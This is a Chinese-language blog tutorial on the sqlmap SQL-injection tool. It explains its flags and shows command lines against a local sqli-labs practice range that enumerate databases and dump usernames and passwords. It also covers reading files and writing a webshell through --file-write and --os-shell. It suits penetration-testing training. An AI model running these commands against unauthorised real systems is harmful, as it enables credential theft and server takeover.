白晝安全
一、Sqlmap簡介與使用
當(dāng)我們明白sql注入的原理,滲透過程似乎很簡單。但事實(shí)上,在實(shí)際的滲透當(dāng)中,漏洞注入并非僅僅只是通過簡單的一兩次嘗試就能夠得到測試人員想要的答案。很多時候,它需要經(jīng)過許多次繁雜的嘗試。所以,要提高滲透測試的效率,單純的依靠測試人員自身的實(shí)戰(zhàn)經(jīng)驗(yàn)也是遠(yuǎn)遠(yuǎn)不夠的。因此,我們需要滲透工具的幫助。而sqlmap就是這樣一款強(qiáng)大而且便于操作的滲透測試工具。
sqlmap是一個開源的滲透測試工具,可以用來進(jìn)行自動化檢測,利用SQL注入漏洞,獲取數(shù)據(jù)庫服務(wù)器的權(quán)限。它具有功能強(qiáng)大的檢測引擎,針對各種不同類型數(shù)據(jù)庫的滲透測試的功能選項(xiàng),包括獲取數(shù)據(jù)庫中存儲的數(shù)據(jù),訪問操作系統(tǒng)文件甚至可以通過外帶數(shù)據(jù)連接的方式執(zhí)行操作系統(tǒng)命令。
1、Sqlmap的安裝
Sqlmap安裝完成后,那么即可開始使用。
2、sqlmap的使用
-u
指定目標(biāo)URL (可以是http協(xié)議也可以是https協(xié)議)
-d
連接數(shù)據(jù)庫
--dbs
列出所有的數(shù)據(jù)庫
--current-db
列出當(dāng)前數(shù)據(jù)庫
--tables
列出當(dāng)前的表
--columns
列出當(dāng)前的列
-D
選擇使用哪個數(shù)據(jù)庫
-T
選擇使用哪個表
-C
選擇使用哪個列
--dump
獲取字段中的數(shù)據(jù)
--dump-all
拖庫
--batch
自動選擇yes
--smart
啟發(fā)式快速判斷,節(jié)約浪費(fèi)時間
--forms
嘗試使用post注入
-r
加載文件中的HTTP請求(本地保存的請求包txt文件)
-l
加載文件中的HTTP請求(本地保存的請求包日志文件)
-g
自動獲取Google搜索的前一百個結(jié)果,對有GET參數(shù)的URL測試
-o
開啟所有默認(rèn)性能優(yōu)化
--tamper
調(diào)用腳本進(jìn)行注入
-v
指定sqlmap的回顯等級
--delay
設(shè)置多久訪問一次
--os-shell
獲取主機(jī)shell,一般不太好用,因?yàn)闆]權(quán)限
-m
批量操作
-c
指定配置文件,會按照該配置文件執(zhí)行動作
-data
data指定的數(shù)據(jù)會當(dāng)做post數(shù)據(jù)提交
-timeout
設(shè)定超時時間
-level
設(shè)置注入探測等級共有五個等級,默認(rèn)為1級, 這個參數(shù)不僅影響使用哪些payload同時也會影響測試的注入點(diǎn),GET和POST的數(shù)據(jù)都會測試,HTTP Cookie在level為2的時候就會測試,HTTP User-Agent/Referer頭在level為3的時候就會測試。總之在你不確定哪個payload或者參數(shù)為注入點(diǎn)的時候,為了保證全面性,建議使用高的level值。
--is-dba
判斷當(dāng)前用戶是否為數(shù)據(jù)庫管理員權(quán)限
--risk
風(fēng)險等級
--identify-waf
檢測防火墻類型
--param-del="分割符"
設(shè)置參數(shù)的分割符
--skip-urlencode
不進(jìn)行url編碼
--keep-alive
設(shè)置持久連接,加快探測速度
--null-connection
檢索沒有body響應(yīng)的內(nèi)容,多用于盲注
--thread
最大為10 設(shè)置多線程
--delay
有些web服務(wù)器請求訪問太過頻繁可能會被防火墻攔截,使用--delay就可以設(shè)定兩次http請求的延時
--safe-url
有的web服務(wù)器會在多次錯誤的訪問請求后屏蔽所有請求,使用--safe-url 就可以每隔一段時間去訪問一個正常的頁面。
--technique
指定注入類型
B:Boolean-based-blind (布爾型型注入)
E:Error-based (報(bào)錯型注入)
U:Union query-based (聯(lián)合注入)
S:Starked queries (通過sqlmap讀取文件系統(tǒng)、操作系統(tǒng)、注冊表必須 使用該參數(shù),可多語句查詢注入)
T:Time-based blind (基于時間延遲注入)
--tamper
語法:--tamper ["腳本名稱"]
當(dāng)調(diào)用多個腳本的時候,腳本之間用逗號隔開,調(diào)用的腳本在 sqlmap文件夾下的 tamper 文件夾中
-v ["x"]
使用sqlmap注入測試時,可以使用 -v [x] 參數(shù)來指定回顯信息的復(fù)雜程度, x 的取值范圍為[0~6]:
等級
解釋
0
只顯示python錯誤以及嚴(yán)重信息
1
同時顯示基本信息和警告信息
2
同時顯示debug信息
3
同時顯示注入的pyload
4
同時顯示HTTP請求
5
同時顯示HTTP相應(yīng)頭
6
同時顯示HTTP相應(yīng)頁面
二、Sqlmap自動化基礎(chǔ)注入實(shí)戰(zhàn)
環(huán)境:sql-lib靶場第一關(guān),url如下
http://127.0.0.1/targetrange/sqli-labs-master/Less-1/?id=1
1、取數(shù)據(jù)庫名
python sqlmap.py -u "http://127.0.0.1/targetrange/sqli-labs-master/Less-1/?id=1" --dbs --batch
效果如下
2、讀取表名
python sqlmap.py -u "http://127.0.0.1/targetrange/sqli-labs-master/Less-1/?id=1" -D "security" --tables --batch
效果如下
3、讀取字段名
python sqlmap.py -u "http://127.0.0.1/targetrange/sqli-labs-master/Less-1/?id=1" -D "security" -T “users” --columns --batch
效果如下
4、讀取數(shù)據(jù)
python sqlmap.py -u "http://127.0.0.1/targetrange/sqli-labs-master/Less-1/?id=1" -D "security" -T “users” -C “username,password” --dump --batch
效果如下
三、sqlmap讀取目標(biāo)系統(tǒng)文件
利用sqlmap讀取文件,也是需要滿足條件的。
(1)當(dāng)前sql注入用戶必須為DBA權(quán)限(--is-dba為true)
(2)需要知道網(wǎng)站的絕對路徑
(3)My.ini文件中的這項(xiàng)配置secure_file_priv=””為空
四、通過sqlmap寫入webshell
Sqlmap寫入webshell也是和手工寫入webshell一樣需要滿足條件:
(1)當(dāng)前sql注入用戶必須為DBA權(quán)限(--is-dba為true)
(2)需要知道網(wǎng)站的絕對路徑
(3)My.ini文件中的這項(xiàng)配置secure_file_priv=””為空
這個操作和通過sql注入的union配合into outfile原理一樣,只不過sqlmap提供了一鍵化操作,格式如下即可
--file-write //要寫入的文件
--file-dest //寫入文件存放的路徑
具體操作就是通過--os-shell,相信很多同學(xué)應(yīng)該都會了,所以這里就不多講了
原文鏈接:https://blog.csdn.net/qq_63844103/article/details/128671338
編輯:何安
-
網(wǎng)絡(luò)安全
+關(guān)注
關(guān)注
10文章
3176瀏覽量
59921 -
SQL
+關(guān)注
關(guān)注
1文章
768瀏覽量
44175 -
自動化
+關(guān)注
關(guān)注
29文章
5596瀏覽量
79407
發(fā)布評論請先 登錄
相關(guān)推薦
評論